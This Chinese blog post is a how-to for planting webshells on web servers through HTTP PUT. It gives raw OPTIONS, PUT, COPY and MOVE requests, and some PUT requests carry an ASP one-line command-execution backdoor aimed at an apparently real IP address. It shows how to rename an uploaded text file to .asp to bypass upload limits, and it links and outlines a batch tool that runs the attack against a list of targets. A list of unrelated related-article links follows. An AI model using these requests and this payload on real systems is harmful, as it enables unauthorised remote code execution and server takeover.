上一篇文章 HTTP - PUT 上传文件/Shell 讲到自己搭了一个环境,去测试HTTP - PUT上传Shell。最近又遇到几个PUT上传的例子,也成功上传了几次,来分享一下思密达。

0x00 判断是否允许HTTP PUT

发送这样的一份报文到服务器,查看服务器返回:

OPTIONS / HTTP/1.1
Host: 192.168.9.151:
Connection: Keep-alive
Accept: text/plain
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.) Gecko/ Firefox/3.5

如果返回值是200,就可以进行下一步尝试

0x10 HTTP - PUT 上传

根据语言的类型,需要上传不同类型的文件,不过先不急,试试上传一个txt文件。

PUT /test.txt HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010 <% execute(request("value")) %>

如果上传成功了,再好不过。不成功的话,有可能是因为HTTP请求头的问题。根据返回代码,可以参考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx

成功之后,再根据服务器语言上传对应的木马:

PUT /test.asp HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010 <% execute(request("value")) %>

即使格式都对,也有可能上传失败,服务器可能做了一些配置。不急,且往下看

0x20 HTTP - COPY/MOVE

这时候,第一次上传成功的test.txt文件就起作用了。

COPY /test.txt HTTP/1.1
Host: test.com
Destination: http://test.com/test.asp
Overwrite: T

或者采用MOVE:

MOVE /dir_name/test.aspx HTTP/1.1
Destination: /test.aspx
Host: test.com

注意MOVE的时候,要求两个文件不在同一个文件夹内。

大概走到这儿,能传上去的,就传上去了= =传不上去的,可以试试 HTTP METHOD 中其他的方法

0x30 自动化实现

寂寞如雪,快速把工具写完了。

代码不直接贴了,Github地址:https://github.com/dabeike/http_put_shell

分享一下,在开发过程中遇到的问题和解决方案

伪代码:

if PUT_TXT:
if PUT_SHELL:
success_list.append(url)
exit()
else:
if COPY_SHELL:
success_list.append(url)
exit()
if MOVE_SHELL:
success_list.append(url)
exit()
else: //PUT失败
PUT不可用

0x40 HTTP返回值

无论是PUT、MOVE、COPY,成功的时候会返回201。但是如果上传文件的时候,当前目录下已有该文件或者在MOVE、COPY的时候,目标文件和当前文件在同一路径下时,会返回204,状态码描述为“No Content”。

针对这样的问题,解决方案如下:

① PUT的时候,随机生成一个500000以内的数字作为文件名。

② MOVE、COPY的时候,由用户手动输入路径(通过URL可得到)。

在上传的时候,可以让我们感觉精神振奋的是201/204。但大多数时候,statu_code会是404,503,403,甚至还会出现200(其实并没有什么卵用,只是服务器做了配置)。根据服务器的设置不同,同样是上传不同,返回值也会不同~~

0x50 多个socket

因为最后加上了从文件中读取,批量的去读取,一开始以为socket对象只需要声明一次,就可以多次连接不同的URL。但是会一直报错。

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for line in file_object:
sock.connect((temp[0], int(temp[1])))
//一些处理
sock.close()

正确的方法应该是这样,每次连接连接都需要新建一下socket对象:

for line in file_object:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((temp[0], int(temp[1])))
//一些处理
sock.close()

0x60 最后

比较老的一个漏洞,基本做不到批量拿站,仅仅自娱自乐~顺便练习python~

HTTP - PUT 上传文件/Shell (二)的更多相关文章

  1. c#上传文件(二)使用文件流保存文件

    1.html代码: <asp:FileUpload runat="server" ID="UpLoadFile"/> <asp:Button ...

  2. Android 发送HTTP GET POST 请求以及通过 MultipartEntityBuilder 上传文件(二)

    Android 发送HTTP GET POST 请求以及通过 MultipartEntityBuilder 上传文件第二版 上次粗略的写了相同功能的代码,这次整理修复了之前的一些BUG,结构也大量修改 ...

  3. WebUploader分片断点上传文件(二)

    写在前面: 这几天,有去研究一下WebUploader上传文件,前面的博客有记录下使用WebUploader简单上传文件的例子,今天就把分片断点上传的例子也记录下吧,在博客园中,也查看了一些资料,基本 ...

  4. HTTP - PUT 上传文件/Shell

    今天遇到几个PUT上传的点,但是都没利用起来.一怒之下,在自己本地试了一下.步骤如下: 一.环境: 首先,根据 配置Apache服务器支持向目录PUT文件 更新一下httpd.conf文件,重启所有服 ...

  5. 微信小程序云开发-云存储-上传文件(word/excel/ppt/pdf)到云存储

    说明 word/excel/ppt/pdf是从客户端会话选择文件.使用chooseMessageFile中选择文件. 一.wxml文件 上传按钮,绑定chooseFile <!--上传文件(wo ...

  6. JAVA Web 之 struts2文件上传下载演示(二)(转)

    JAVA Web 之 struts2文件上传下载演示(二) 一.文件上传演示 详细查看本人的另一篇博客 http://titanseason.iteye.com/blog/1489397 二.文件下载 ...

  7. Hessian学习总结(二)——使用hessian上传文件

    hessian较早版本通过 byte[] 进行文件传输:4.0之后支持 InputStream 作为参数或返回值进行传输. 注意:hessian会读取整个文件,如果文件过大,会导致JVM内存溢出.可以 ...

  8. linux 执行远程linux上的shell脚本或者命令以及scp 上传文件到ftp--免密码登陆

    场景:在linux A 上执行Linux B上的shell脚本和命令 步骤1.设置ssh免登陆 1.SSH无密码登录 # 本地服务器执行(A机器):生成密钥对 ssh-keygen -t dsa -P ...

  9. C#远程执行Linux系统中Shell命令和SFTP上传文件

    一.工具:SSH.Net 网址:https://github.com/sshnet/SSH.NET 二.调用命令代码: Renci.SshNet.SshClient ssh = "); ss ...

随机推荐

  1. Android 框架修炼-自己开发高效异步图片加载框架

    一.概述 目前为止,第三方的图片加载框架挺多的,比如UIL , Volley Imageloader等等.但是最好能知道实现原理,所以下面就来看看设计并开发一个加载网络.本地的图片框架. 总所周知,图 ...

  2. ASP.NET MVC 4 Ajax上传文件

    这两天一直纠结着表单的问题.想在一个表单里实现三个功能: 输入查询条件,点击查询: 导出查询数据: 上传文件: 方法有很多,乱花渐欲迷人眼,尝试了很多,无果.大致说的是,给不同按钮写js代码,在js代 ...

  3. famous javascript library.

    https://famo.us/ THE ULTIMATE WEB PLATFORM FOR DEVELOPERS AND DESIGNERS

  4. java.util.regex.PatternSyntaxException: Unexpected internal error near index 1 \ ^

    1 String a = "1991\12\16"; 2 String[] split = a.split("\\"); 3 System.out.printl ...

  5. CentOS7安装RabbitMQ集群

    实验环境 RabbitMQ 集群 server1.example.com    IP: 10.10.10.11    Node: diskserver2.example.com    IP: 10.1 ...

  6. vim纯文本处理插件txtbrowser

    纯文本处理插件:txtBrowser 插件作者:http://guoyoooping.blog.163.com/ Github地址:https://github.com/vim-scripts/Txt ...

  7. ZooKeeper(3.4.5) - 使用 Curator(2.7.0) 监听事件

    ZooKeeper原生的API支持通过注册Watcher来进行事件监听,但是Watcher通知是一次性的,因此开发过程中需要反复注册Watcher,比较繁琐.Curator引入了Cache来监听Zoo ...

  8. Spark技术内幕:Stage划分及提交源码分析

    http://blog.csdn.net/anzhsoft/article/details/39859463 当触发一个RDD的action后,以count为例,调用关系如下: org.apache. ...

  9. Eratosthenes筛选法

    说到素数,最基本的算是一百以内的那些数了.这些数在数学竟赛中常常会被用到.比如说有这样一道题:“一百以内有多少在加2后仍然是素数的素数?”11和17就是这样的素数.如果对素数很熟悉的话,就能迅速得出答 ...

  10. Linux find常见用法示例

    find命令的参数: pathname: find命令所查找的目录路径.例如用.来表示当前目录,用/来表示系统根目录.-print: find命令将匹配的文件输出到标准输出.-exec: find命令 ...